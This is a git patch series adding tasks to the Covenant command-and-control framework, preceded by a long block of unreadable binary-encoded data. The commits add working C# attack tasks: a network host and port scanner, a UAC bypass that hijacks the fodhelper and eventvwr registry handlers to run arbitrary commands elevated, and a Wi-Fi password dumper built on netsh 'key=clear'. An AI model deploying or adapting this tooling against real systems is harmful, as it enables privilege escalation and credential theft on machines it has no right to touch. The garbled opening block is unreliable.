zi17JjFS-Q&j3w7PrF~LaKjx&yHDS(SkLy!B+n@&YJjp*=LJi+T4xgm3-+67Dv)gfP z<=LBth>h{+%!$o|nDd$kF{dF9V$MPy#GHh@{yhKOqch&QN9W1LK&_v{XiOK+#Pt{g zsKhEvo0O@ELl`>RuXvlJ^EfhRY14ywhH0&swS=oUCu>hsKWo(|8lEGg&q{5LD{{)m z&;H>i@4Hjm`Ew_u59^bWoioMFulC<*?>ZivU zFx(esI8@6>(}#!qvX&=Q>mKJh$j)$S=Qz1$_*`ZBG~BQh_}?NE&oc}#;aYmGL%lh9 zMbAh63U7&`M(g%{;IFH>hK+q_s!kdhyejUo#x# z4cD}G&6jadH+uRCFl;4=%Y@rxDSZA7>X|+41N6Oo|JZs^`uUQ6nrP2#`hNJ2RpSW# z9zHkcZA3N1>-q95Jl}+uroO)P3{=d8yy5*atR{UR)$^OKtNGDe{9 zU#nxfZ{B=$8uPe?>3;MrWbO)jrE#A4&X4+$=rF#AbbEY4sI{*kd~vq;1`W^Rl#|YMImi59nUB zZuZg_zMaDJ4d1KcY-#G}pkHM?5%zADe9*_UpWvOQ;Ld{8Tk!v5(PJ#xAEkXef8@;X zwML2ke{2CfjA|a{AP-~RA`r~oL)s$h_h7nsn!X23GBzy%=Pc<-U2jM9jqS6h!#_+F^I1!^q2<=6FS=7%#zi^RwverT-6yax06qtOSlEP@Zc zBk+wrYS>2sp`DpWU%YLujGoe0vhNCo`IrGE_f-6L)Q?3CE{r|t-8L-)?jk&?dFxHb z=+SM+2^{>$wCLZAc@ZODg7@HLVf1QIG);E62n3pDW+-Z*v^`yiJn-9>64Ry4#x8Q7 z9s_rQHE4*nAhxVe`m`{fH8%WN8tXIKF%r%O1G3^)X_!YeZz0U`7gf__Tl0!tRE-N8evr+xfJn(H*u66w;u-3ou zPNyCv51Nj4CcX=4?qBw&&44NUxJ#o3;P6Q1tthvAMnA zoEOT*(HlL@V*PMW;M=<1K5pzyfV~227q`T;FUh^o>Y-h?_oB7qw>lW54fKF5hwd~R zOZ{#&%$cGG-*%O5X@nV-VndHgXyZ9e(kFt!y9R}XRp-;~kNzvlNel%Y|GIXoW4=zU3_{JQS;rF!Jv zbn3Avo=?m+&@0bFE`kaXJ@dI~m>r~ka< z^<3b#=!5!H+JV0CEZu}8=p|q;#=l?9?f>i#2ETOWOMm13fB5Z>{nF2>0~wX-%cN3+ z{YXZSGdt3sNvB5A1INeiypir7ISA0${wMo0YHa_rW5>t#e=Bu-?CyTwF?B3;EPd?2 zkkGM&w$evH@N*#8|Bdvq)L>sm9b*?K2xdJE9?B>oJEjIv`3I?!V<&88limIxHP$qr zI~H-<0AA66vHg9Ud6gWnk^R>!=yjXoQKprL`( z*vAg31Hjx#9Uc2v`ryc+fdgaJP|2xc`kRvj6H=ut#t0zH^X19;-d(NyZ>!<>}g zNEC*FJP zXe#X*CF)_7mS*4XQy2r;-Q_4x_V+6!BL@}q?qokE0j-=)la15pQV0)2m?!(ke)>@6 zKnlYZDfy{wHOx57fKp!ys`{{Jw03?GNX|yx|R6pwsqA;XCNRHAlQS5O5ESS!R z1TcJLK!lHx4-KUU4?`?&0A_G+4n24@orcCe8ld#p9!?!Rgwek_bQIM%m98pAv_NTM zuuyr-{NS+63ztfNKYDDW`VWfm<%2*@=!t-8fP6Jl1DZ-cel9h@xuBvALno+5sT0t- z1H&f|42xI~Kpw-xhgE-S?9N99`8PO#VUKV%W2GKBf@wH%1fvP=4>%9tJc08^1`c9Ys$=_qlhUT*?^0R&$94w?`o^jR zN*M|bJ$MdNHTD$rMvdKh0r1r5osa2{>Osu-;NYN?_CKwGbugVCd+zwa;8-4QjqU&4 zLHxl!ofzByoUFG`4xux^M(;GB<0np>Jb{{+olin*sPQKTAmJ0EcXo%N;bZ$>N{=p$ z&0|TM+yE4qCT$2RiQ$jl`Ds*#y;Fw=`iHPku^L9_h7Ov~fwZiT(K$2@1s;Skg(hS1 z$@GlfeQ`)@z}*)))~=b6LumNWp)o8Hv+m5t;DJM;4lk$s)9;O8%{m%@YLD%IaS+R5 zXl(yiM)dSy?F~T^ZySYs8+^bn^bZ_>0FSaJy7-Os=>D$_;ZN%^S3D)ag>UtEXs{GHDW*T0Eb;`BSRyHOy|f# z5Mo5{?u_^(=^@kI2<3`SMuv{+@te}n(8#dsU}UHtLce=ELNYjV|G>~#4XXMIIK?6w z99zN6a;$e>p_RI`BkAjsz9#8KNo$g7nro7ONz#m@rzL$x(le5tko2;opOAE1(x)VS zRnmP)o04uyDhBw@XC%KOX60f$|kkv}oVOI)vdq40VU- ze@m9kM>rLCUrlrQ07z%RdJ6)18JGyj!(%Q?-Sj~^6CP>=+gRxSf+BgB?ST)-(%^JBmg{?rl>z5({u>@-+4o_gUHH6!fIk_heijEz&jf<|3tJJ3V%q z_MN+Q10^&JS?Nz=4{_HP7+gE-WPkHMy>LcOj*JYR92uk!hK5<~OX;DJ2f0NGGs1`% zPDwN~188IP&ZiH;SHcHfG->)_IE4Q*h5a1bfurE^}cJ$6~$vl6v59*n^Uu1F& zTzQJ?t$%3jajNE*(h(Y&>|+P$5^*JB?$W-YK)qoO>dx@Y0?CC5 zs1<3{x{rgh{Lv&}jYQf?9~{J&Yz>YL985!kW>L`;QVV5a$qM^9s2KtB2{!^BdCGiH z@N#(K!qPeMQOsJE#VvM2;|72Cr;h#b_df9T=LW}rwe-jT@C*Oo&j#Q8E0v!a{a+7# zXz<~)=QiKzAO4H|H`HmR`u3H29cRFUX(T8wm$MV9k6+=HQlI;4U%2wwmw)n4AG`j` zKl9|k_}6dT_tw_2|M0i|)$+uXIBuOW)dn#@19`?~_HD*AggUw*5gL)m==#WHgc_NB zo6*$((bbsY_@r+ZBqQ}%%2qy_hlL!hR*?+U|;MkqdGx;KuUuW_wOuoY8Z6;r3@`p^mhvY7n^4OiPF?oy0 zZ!>xGz`?N{X1>AXJ50XI1mie`oObUI6a0uzTR(=p6o* z(g*wL$e0rxSfwKmhVQ-zsxHX)Kf&bh$sox3J_oV?M*85efZmeyZQADr9(cHo_=l9B zI5K32?!JN+?tF^Pd=H(}@VBB-I6m0S>o)V6&0MsZn$5goGuLe9C7a3E%xRl>#%9jg z%n6&hY%`y*nQ@zW%4S}*nSGmS+RUcSbZzD{Hsi*Xw~#)YIczh7HgnWw-fJ`W+svHJ zOxw(hHgnr%=51z)l6_U?MT94A6NLN};CJsw<~b64v+v;O-Pf4B&g3&pGE7c0Il}}M zM(>U@nPzg4$z>+bFv&BSV=~W%m$>ulKo*NKavhOE>6%5pIYi`3bUb)cXQ4JK1=+TF z6viLH%_9LAr&@xbj-z)!)enyiZXEp+_?gEteek%&P3mfA=}ifU?7w;t;Xk;z{fLh2 ze;(<{u}#VUK=QXW`W-2pkn}XRw6Uhpe3{u-B>OtEJIvmBQ_|m-^esuhCh4z8`iGLT zC#+q`|GK1KmGp~}enrynN%}U^eSz#tJNw@dh|uqUXBZJ2_|QAF9YQbIJKvE!j*#Hz z9ZA0}>9-j1!O?yI^1#Q)fs7i$-vIsF0l|$7kZ^xr($DDO>z03CTKHW_zs&URVGjB^ z)J1p@xx@X~Y#H-Q5A^rzFyZik!l9*qXlMYA2EuU!OBqFij}kFx5b%6aWZ)6U4S+Sl zFd}*+;6EK;WTS{PvQZ9xctC%;^6)U?kO)%HCw>$8A)Lk}f1fh(Ra3@3g(C$5gf=sP z4SJ-XiR6ZuLu(RZ!Qo_h7=S~Jr6K}4gb%{dIX@8mOyP`#=pW;(NXIe*XjZgu$Yxl7 zWCY={^vF@f<@gC_g+b;0PcyK}6UPwBW6u!)!QxQ?W=5=SCN(s=Gz71BbWQ>*JVU|? zgAts=C1y5=5E^L z`h<>1YiZ~QgP^HlWctwpRPBpskWVf|jrZTsg*QxvVXZW8>CX1w(#5xR&9~7VVoGEU zM;;7tXh<(nupsWYw<{bn1H)=RqKRbn2UV~KVIX%tH9T&E!lQF+cowvEZ zz}Fq{wE*~<16~Y(7agz`0Ba8TN&tMt0j~wXYYzBQ0DQ>-GXXH;fTsiCX$O2J06yb@ zX9D0E2Rsn~PdMP^0C?E}KM?>w;eg`-aNGf(3V=^J;Hv@fRR`P;fcp;E41i4s+zf!5 z4%iKVT?hP30Q`&tLI>;=uQ*^n0OlRAF97yA;Nbvx*Z~Iv;GhE@4S+`-5FrEG`+FVm z{s4Ht1I`7&IR~5$fYT26VgP*60dEJu+YUG%0OuWWDF7}ZK#{`pj^D&nOop>Y-otnx zj^VOMaVVFkJp)o7zCUHLNQD@*1J(!ML4b1@WP!`~#2{UaGVsxlaS4jl%}6(9x1q8J@VR>PTvv!Npg1820~(SHUV zzIyPC_AyxaJV5j@nE!#~Z)@~BQaB;$X&i^)W02;{%)TPo*O}ds>{lfHnxx;5^s7K( z-(i*S95|y!@Hd3N0sN%}x-aQxbZ2j}sa-;_i6eauWP|-@xWxzowg^DGAi&t!GTRx( zpYGue-O5|~2jMc z*LAtixLh#ayo2?*++mj+bh)E0_gGg|ebBqtCp7{pmvsfQT=TS>p?YP-6FAKP?4@wBqp z#*cC$#9+?#=Tqvzvx|il{A%2Gt=g_Vg&)Q4;1|+9a&z+RI9eFFUw)eMR;zs@-{|b% zhr9R_OX~iVy06@=uUEG-bJg8WtJ|$BbvUI4@EcS0Y6pdfQtCaE;}aJ$&tzhR`#(&n z{qM^!vu7HeOf_SED>SoI$edYfwY&V?_)Ot8et1c;Ph{}3iJf{oa|=J%)va%58rzxN zsk514S0m6wv&qVv@+-I*{5qidnflCntDU($HJQQaGPlo9OP$W{&JH^1WV)O641OXO zzuL5k7B*UFeRC^wYqPPoNxpVkJG;$lo4svSo44@GjcBIY-0L(tXEQIfb~9@j{%)t9 zX>_F@{cD}l)lLo3X9Y6lsIjbc#ahCs$D|INP`lX<=A{N|ROsOZ? z_DlF3xXe%_q(lJN$j@YInC?m)})?32~37QtEO2YxkgG?+d2$vn%+K zyq6}QygZ9vV|%(*sZ8V5j+E*vcI$YNL#aQw`j0Md{n;!3`tSd<|KYJe{@-41{ovYr z{`L>Pu+sVP=|9aq_?7qn$;GdJ^z`5V?0^0j^B@0(dgJ2n{lS-Czxv;|{>AVAi}q6X zo%K)6ANsZ0zx!u>bHDS?|IXk3=l|K`-#+>Ke>nXY|4n&*{FgrW$p`=S$NtCcU%PhY z4?2y1@X|m1)t@;1$^Uftk5}IO_4!kGUwL`w-`@K9!e1Z%f5?LRr{Ddrzo1eJOKIen z@OODLtuB9*CH)WM!>t=!XTsm7fcun(BL#y){=emNzWn|EPn`e$KmL2q{+(Yae)P^a zOYdhJwGX{meR1N&&WoM)+KVEs7hBgq{-ROa7q{zO{`4(Z0`y-KoZYEiSLM0va4Ze_4?Ub6W7xC?}v|}k)wU5ICA`Z-zg3Qhct$O5oSxh?;r!e=@e5?|M1|UAF>Q5 zoBs~>rP6r1p++9KfAoD1Wlr@yen#Mb`I3~(F=F2PVcu!z7^aQGNjHbTYx`;Stv;6Y zzi;(n0jTFy8F%%b$F00&>n+&E~1M~Pu zp;g`#wC^bL=A7JC1@5$Bt?1j4=KKGoi8uT5AW4Cz;GSH(rHs(n-wGSY-N5UVfjXT2 z_o&O8>sxa3mG|aw%MNRb_i=ffmA|jTUtZxagGGONX9?2a?~~cvqV`sE25{cCTf;3! z-h#X?w;rDWE#L0pyF9!P&fk>McYpQmLi z$QJm!Ol+0+mNy|cj)cF5#&15b^5T0Q{Ix2+2gd#z=$F6R!rHe4#sze>K^aI`@dxn=xm@{T!({Ro##=9 z+7Zz5zN-DBzE0y82~(I6>Zu+hrRQ!SdwP2ovn+RYv0fiQ9lq7F0iOANubi1ZnZFIp zSQqV1f|Ci{q|HDI{8hVqj}-fj@KG{tP^N6zj-4gmBlp))z|T`6Cw-fnzu-fC4MyPC zp?oOQFl|&yRzA4Bi(A5!CvRO-XZQ Date: Fri, 9 Dec 2022 14:31:53 +0100 Subject: [PATCH 02/16] UAC Bypass & wifi passowrds tasks --- Covenant/Data/Tasks/NET-scan.yaml | 181 ++++++++++++++++++++++++ Covenant/Data/Tasks/UAC_reg_bypass.yaml | 145 +++++++++++++++++++ Covenant/Data/Tasks/Wifi_password.yaml | 173 ++++++++++++++++++++++ 3 files changed, 499 insertions(+) create mode 100644 Covenant/Data/Tasks/NET-scan.yaml create mode 100644 Covenant/Data/Tasks/UAC_reg_bypass.yaml create mode 100644 Covenant/Data/Tasks/Wifi_password.yaml diff --git a/Covenant/Data/Tasks/NET-scan.yaml b/Covenant/Data/Tasks/NET-scan.yaml new file mode 100644 index 00000000..b0fa42f1 --- /dev/null +++ b/Covenant/Data/Tasks/NET-scan.yaml @@ -0,0 +1,181 @@ +- Name: NET-scan + Aliases: [] + Description: Use a NET-scan command. + Author: + Name: amine brahmi + Handle: khraoverflow + Link: https://twitter.com/dr_whoami_ + Help: + Language: CSharp + CompatibleDotNetVersions: + - Net35 + - Net40 + Code: | + using System; + using System.IO; + using System.Reflection; + using System.Threading; + + using NET-scan; + + public static class Task + { + public static Stream OutputStream { get; set; } + public static string Execute(string Command, string Wait_sec) + { + try + { + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + StreamWriter stdOutWriter = new StreamWriter(OutputStream); + StreamWriter stdErrWriter = new StreamWriter(OutputStream); + stdOutWriter.AutoFlush = true; + stdErrWriter.AutoFlush = true; + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + string[] args = Command.Split(' '); + typeof(net_scan.Program).GetMethod("Main", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { args }); + //Thread thread = new Thread(() => net_scan.Program.Main(args)); + //thread.Start(); + + Thread.Sleep(1000*int.Parse(Wait_sec)); + + + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + OutputStream.Close(); + return ""; + } + catch (Exception e) + { + if (OutputStream != null) + { + OutputStream.Close(); + } + return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; + } + } + } + TaskingType: Assembly + UnsafeCompile: false + TokenTask: false + Options: + - Name: Command + Value: '' + DefaultValue: '' + Description: NET-scan command to execute, whole command should be inside quotes. + SuggestedValues: + - hosts -r 192.168.1-2.1-254 -p 445 + - ports -h 192.168.56.1 -p 1000 + Optional: true + DisplayInCommand: true + FileOption: false + - Name: Wait_sec + Value: '' + DefaultValue: '60' + Description: time to wait while multiple threads are printing the output of the command, this command isn't very opsec safe don't set anything too high unless you know the scan will take that much time. + SuggestedValues: [] + Optional: true + DisplayInCommand: false + FileOption: false + ReferenceSourceLibraries: + - Name: NET-scan + Description: NET-scan is a .NET assembly to perform host discovery based on a mass port scan , and a port scanner. + Location: NET-scan\ + Language: CSharp + CompatibleDotNetVersions: + - Net35 + - Net40 + ReferenceAssemblies: + - Name: System.Management.Automation.dll + Location: net35\System.Management.Automation.dll + DotNetVersion: Net35 + - Name: System.Management.dll + Location: net40\System.Management.dll + DotNetVersion: Net40 + - Name: System.Management.Automation.dll + Location: net40\System.Management.Automation.dll + DotNetVersion: Net40 + - Name: System.IdentityModel.dll + Location: net40\System.IdentityModel.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.DirectoryServices.dll + Location: net40\System.DirectoryServices.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Management.dll + Location: net35\System.Management.dll + DotNetVersion: Net35 + - Name: mscorlib.dll + Location: net35\mscorlib.dll + DotNetVersion: Net35 + - Name: System.Core.dll + Location: net35\System.Core.dll + DotNetVersion: Net35 + - Name: System.DirectoryServices.dll + Location: net35\System.DirectoryServices.dll + DotNetVersion: Net35 + - Name: System.dll + Location: net35\System.dll + DotNetVersion: Net35 + - Name: System.IdentityModel.dll + Location: net35\System.IdentityModel.dll + DotNetVersion: Net35 + EmbeddedResources: [] + ReferenceAssemblies: + - Name: System.Management.Automation.dll + Location: net35\System.Management.Automation.dll + DotNetVersion: Net35 + - Name: System.Management.dll + Location: net40\System.Management.dll + DotNetVersion: Net40 + - Name: System.Management.Automation.dll + Location: net40\System.Management.Automation.dll + DotNetVersion: Net40 + - Name: System.IdentityModel.dll + Location: net40\System.IdentityModel.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.DirectoryServices.dll + Location: net40\System.DirectoryServices.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Management.dll + Location: net35\System.Management.dll + DotNetVersion: Net35 + - Name: mscorlib.dll + Location: net35\mscorlib.dll + DotNetVersion: Net35 + - Name: System.Core.dll + Location: net35\System.Core.dll + DotNetVersion: Net35 + - Name: System.DirectoryServices.dll + Location: net35\System.DirectoryServices.dll + DotNetVersion: Net35 + - Name: System.dll + Location: net35\System.dll + DotNetVersion: Net35 + - Name: System.IdentityModel.dll + Location: net35\System.IdentityModel.dll + DotNetVersion: Net35 + EmbeddedResources: [] \ No newline at end of file diff --git a/Covenant/Data/Tasks/UAC_reg_bypass.yaml b/Covenant/Data/Tasks/UAC_reg_bypass.yaml new file mode 100644 index 00000000..b4867c7f --- /dev/null +++ b/Covenant/Data/Tasks/UAC_reg_bypass.yaml @@ -0,0 +1,145 @@ +- Name: UAC_reg_bypass + Aliases: [] + Description: uac bypass with eventvwr or fodhelper + Author: + Name: amine brahmi + Handle: khraoverflow + Link: https://twitter.com/dr_whoami_ + Help: + Language: CSharp + CompatibleDotNetVersions: + - Net35 + - Net40 + Code: | + using System; + using Microsoft.Win32; + using System.Threading; + using System.Diagnostics; + + public static class Task + { + public static string Execute(string registryKey, string command) + { + try + { + RegistryKey alwaysNotify = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"); + string consentPrompt = alwaysNotify.GetValue("ConsentPromptBehaviorAdmin").ToString(); + string secureDesktopPrompt = alwaysNotify.GetValue("PromptOnSecureDesktop").ToString(); + alwaysNotify.Close(); + + if (consentPrompt == "2" & secureDesktopPrompt == "1") + { + return "UAC is set to Always Notify. Not performing UAC bypass."; + } + } + catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } + + if (registryKey.ToLower() == "fodhelper") + { + try + { + RegistryKey newkey = Registry.CurrentUser.OpenSubKey(@"Software\Classes\", true); + newkey.CreateSubKey(@"ms-settings\Shell\Open\command"); + + RegistryKey fod = Registry.CurrentUser.OpenSubKey(@"Software\Classes\ms-settings\Shell\Open\command", true); + fod.SetValue("DelegateExecute", ""); + fod.SetValue("", command); + fod.Close(); + + Process p = new Process(); + p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; + p.StartInfo.FileName = "C:\\windows\\system32\\fodhelper.exe"; + p.Start(); + + Thread.Sleep(10000); + + newkey.DeleteSubKeyTree("ms-settings"); + return "Fodhelper UAC bypass executed"; + } + catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } + } + else if (registryKey.ToLower() == "eventvwr") + { + try + { + RegistryKey newkey = Registry.CurrentUser.OpenSubKey(@"Software\Classes\", true); + newkey.CreateSubKey(@"mscfile\Shell\Open\command"); + + RegistryKey vwr = Registry.CurrentUser.OpenSubKey(@"Software\Classes\mscfile\Shell\Open\command", true); + vwr.SetValue("", command); + vwr.Close(); + + Process p = new Process(); + p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; + p.StartInfo.FileName = "C:\\windows\\system32\\eventvwr.exe"; + p.Start(); + + Thread.Sleep(10000); + + newkey.DeleteSubKeyTree("mscfile"); + return "Eventvwr UAC bypass executed."; + } + catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } + } + else + { + return "Invalid bypass selected. Select either 'fodhelper' or 'eventvwr.'"; + } + } + } + TaskingType: Assembly + UnsafeCompile: false + TokenTask: false + Options: + - Name: registryKey + Value: '' + DefaultValue: 'fodhelper' + Description: use fodhelper or eventvwr + SuggestedValues: + - fodhelper + - eventvwr + Optional: true + DisplayInCommand: true + FileOption: false + - Name: command + Value: '' + DefaultValue: '' + Description: command to execute . + SuggestedValues: [] + Optional: false + DisplayInCommand: true + FileOption: false + ReferenceSourceLibraries: [] + ReferenceAssemblies: + - Name: System.Drawing.dll + Location: net40\System.Drawing.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Windows.Forms.dll + Location: net40\System.Windows.Forms.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net35\mscorlib.dll + DotNetVersion: Net35 + - Name: System.Core.dll + Location: net35\System.Core.dll + DotNetVersion: Net35 + - Name: System.dll + Location: net35\System.dll + DotNetVersion: Net35 + - Name: System.Drawing.dll + Location: net35\System.Drawing.dll + DotNetVersion: Net35 + - Name: System.Windows.Forms.dll + Location: net35\System.Windows.Forms.dll + DotNetVersion: Net35 + EmbeddedResources: [] + diff --git a/Covenant/Data/Tasks/Wifi_password.yaml b/Covenant/Data/Tasks/Wifi_password.yaml new file mode 100644 index 00000000..970209ad --- /dev/null +++ b/Covenant/Data/Tasks/Wifi_password.yaml @@ -0,0 +1,173 @@ +- Name: Wifi_passwords + Aliases: [] + Description: get wifis passwords + Author: + Name: amine brahmi + Handle: khraoverflow + Link: https://twitter.com/dr_whoami_ + Help: + Language: CSharp + CompatibleDotNetVersions: + - Net35 + - Net40 + Code: | + using System; + using System.IO; + using System.Text; + using System.Windows.Forms; + + using System.Collections.Generic; + using System.Diagnostics; + using System.Globalization; + + public static class Task + { + public static string Execute() + { + string output = " SSID PASSWORD"; + output += Environment.NewLine; + output += "-------------------- -------------------------" + Environment.NewLine; + CultureInfo ci = CultureInfo.InstalledUICulture; + + try + { + List wifis = new List(); + + var proc = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh.exe", + Arguments = "wlan show profiles", + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true + } + }; + + + + + proc.Start(); + + while (!proc.StandardOutput.EndOfStream) + { + string line = proc.StandardOutput.ReadLine(); + try + { + string separator = ""; + + separator = ci.Name.Contains("fr") ? "Profil Tous les utilisateurs" : "add english version"; + + if (line.Contains(separator)) + { + string name = line.Substring(2 + line.IndexOf(": "), line.Length - line.IndexOf(": ") - 2); + if (name.Length > 1) + wifis.Add(name); + } + + } + catch (Exception) + { + + } + + // do something with line + } + + foreach (string wifi in wifis) + { + + var proc2 = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh.exe", + Arguments = string.Format(@"wlan show profiles name=""{0}"" key=clear",wifi), + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true + } + }; + + + + + proc2.Start(); + + while (!proc2.StandardOutput.EndOfStream) + { + string line = proc2.StandardOutput.ReadLine(); + try + { + string separator = ""; + + separator = ci.Name.Contains("fr") ? "clé" : "add english version (key ?)"; + + if (line.IndexOf(separator) != -1 ) + { + string pass = line.Substring(12 + line.IndexOf("clé"), line.Length - line.IndexOf("clé") - 12); + output += wifi + string.Empty.PadLeft(26-wifi.Length,' ') + pass + Environment.NewLine; + output += "=================================================" + Environment.NewLine; + } + + + + } + catch (Exception) + { + + } + + // do something with line + } + } + return output; + + } + catch (Exception e) + { + + return e.Message; + } + } + + } + TaskingType: Assembly + UnsafeCompile: false + TokenTask: false + Options: [] + ReferenceSourceLibraries: [] + ReferenceAssemblies: + - Name: System.Drawing.dll + Location: net40\System.Drawing.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Windows.Forms.dll + Location: net40\System.Windows.Forms.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net35\mscorlib.dll + DotNetVersion: Net35 + - Name: System.Core.dll + Location: net35\System.Core.dll + DotNetVersion: Net35 + - Name: System.dll + Location: net35\System.dll + DotNetVersion: Net35 + - Name: System.Drawing.dll + Location: net35\System.Drawing.dll + DotNetVersion: Net35 + - Name: System.Windows.Forms.dll + Location: net35\System.Windows.Forms.dll + DotNetVersion: Net35 + EmbeddedResources: [] + From 34046aa62d986b5273dd6a947e22d62d0b52587c Mon Sep 17 00:00:00 2001 From: khraoverflow <61654970+khraoverflow@users.noreply.github.com> Date: Fri, 9 Dec 2022 14:47:42 +0100 Subject: [PATCH 03/16] NET-scan as submodule --- .gitmodules | 4 ++++ Covenant/Core/DbInitializer.cs | 9 +++++++++ Covenant/Data/ReferenceSourceLibraries/NET-scan | 1 + 3 files changed, 14 insertions(+) create mode 160000 Covenant/Data/ReferenceSourceLibraries/NET-scan diff --git a/.gitmodules b/.gitmodules index 6debcc64..de24508a 100644 --- a/.gitmodules +++ b/.gitmodules @@ -30,3 +30,7 @@ path = Covenant/Data/ReferenceSourceLibraries/SharpSC url = https://github.com/djhohnstein/SharpSC ignore = dirty +[submodule "Covenant/Data/ReferenceSourceLibraries/NET-scan"] + path = Covenant/Data/ReferenceSourceLibraries/NET-scan + url = https://github.com/khraoverflow/NET-scan + ignore = dirty diff --git a/Covenant/Core/DbInitializer.cs b/Covenant/Core/DbInitializer.cs index 95cccf18..71cf5267 100644 --- a/Covenant/Core/DbInitializer.cs +++ b/Covenant/Core/DbInitializer.cs @@ -19,6 +19,8 @@ using Covenant.Models.Launchers; using Covenant.Models.Listeners; using Covenant.Models.Grunts; +using YamlDotNet.Core; +using Microsoft.AspNetCore.Mvc.ViewComponents; namespace Covenant.Core { @@ -259,6 +261,12 @@ public async static Task InitializeTasks(ICovenantService service, CovenantConte Name = "SharpSC", Description = "SharpSC is a .NET assembly to perform basic operations with services.", Location= "SharpSC" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } + }, + new ReferenceSourceLibrary + { + Name = "NET-scan", Description = "network host and port scanner ", + Location = "NET-scan" + Path.DirectorySeparatorChar, + CompatibleDotNetVersions = new List{Common.DotNetVersion.Net40,Common.DotNetVersion.Net35} } }; await service.CreateReferenceSourceLibraries(ReferenceSourceLibraries); @@ -272,6 +280,7 @@ public async static Task InitializeTasks(ICovenantService service, CovenantConte var su = await service.GetReferenceSourceLibraryByName("SharpUp"); var sw = await service.GetReferenceSourceLibraryByName("SharpWMI"); var sc = await service.GetReferenceSourceLibraryByName("SharpSC"); + var khra_can = await service.GetReferenceSourceLibraryByName("NET-scan"); await service.CreateEntities( new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, diff --git a/Covenant/Data/ReferenceSourceLibraries/NET-scan b/Covenant/Data/ReferenceSourceLibraries/NET-scan new file mode 160000 index 00000000..86bb321c --- /dev/null +++ b/Covenant/Data/ReferenceSourceLibraries/NET-scan @@ -0,0 +1 @@ +Subproject commit 86bb321ca4988b430a4cef5be64a29df43fa78f1 From af8cd7f1acee63e6171a316858a39edf64a0d08e Mon Sep 17 00:00:00 2001 From: khraoverflow <61654970+khraoverflow@users.noreply.github.com> Date: Fri, 9 Dec 2022 15:41:08 +0100 Subject: [PATCH 04/16] revert submodul --- .gitmodules | 6 +----- Covenant/Data/ReferenceSourceLibraries/NET-scan | 1 - 2 files changed, 1 insertion(+), 6 deletions(-) delete mode 160000 Covenant/Data/ReferenceSourceLibraries/NET-scan diff --git a/.gitmodules b/.gitmodules index de24508a..c282dc31 100644 --- a/.gitmodules +++ b/.gitmodules @@ -29,8 +29,4 @@ [submodule "Covenant/Data/ReferenceSourceLibraries/SharpSC"] path = Covenant/Data/ReferenceSourceLibraries/SharpSC url = https://github.com/djhohnstein/SharpSC - ignore = dirty -[submodule "Covenant/Data/ReferenceSourceLibraries/NET-scan"] - path = Covenant/Data/ReferenceSourceLibraries/NET-scan - url = https://github.com/khraoverflow/NET-scan - ignore = dirty + ignore = dirty \ No newline at end of file diff --git a/Covenant/Data/ReferenceSourceLibraries/NET-scan b/Covenant/Data/ReferenceSourceLibraries/NET-scan deleted file mode 160000 index 86bb321c..00000000 --- a/Covenant/Data/ReferenceSourceLibraries/NET-scan +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 86bb321ca4988b430a4cef5be64a29df43fa78f1 From 0fab9c121d41941e8f497286cc0831c1d93fbc2a Mon Sep 17 00:00:00 2001 From: khraoverflow <61654970+khraoverflow@users.noreply.github.com> Date: Fri, 9 Dec 2022 15:47:55 +0100 Subject: [PATCH 05/16] added submodule NET-scan --- .gitmodules | 5 ++++- Covenant/Data/ReferenceSourceLibraries/NET-scan | 1 + 2 files changed, 5 insertions(+), 1 deletion(-) create mode 160000 Covenant/Data/ReferenceSourceLibraries/NET-scan diff --git a/.gitmodules b/.gitmodules index c282dc31..90d51419 100644 --- a/.gitmodules +++ b/.gitmodules @@ -29,4 +29,7 @@ [submodule "Covenant/Data/ReferenceSourceLibraries/SharpSC"] path = Covenant/Data/ReferenceSourceLibraries/SharpSC url = https://github.com/djhohnstein/SharpSC - ignore = dirty \ No newline at end of file + ignore = dirty 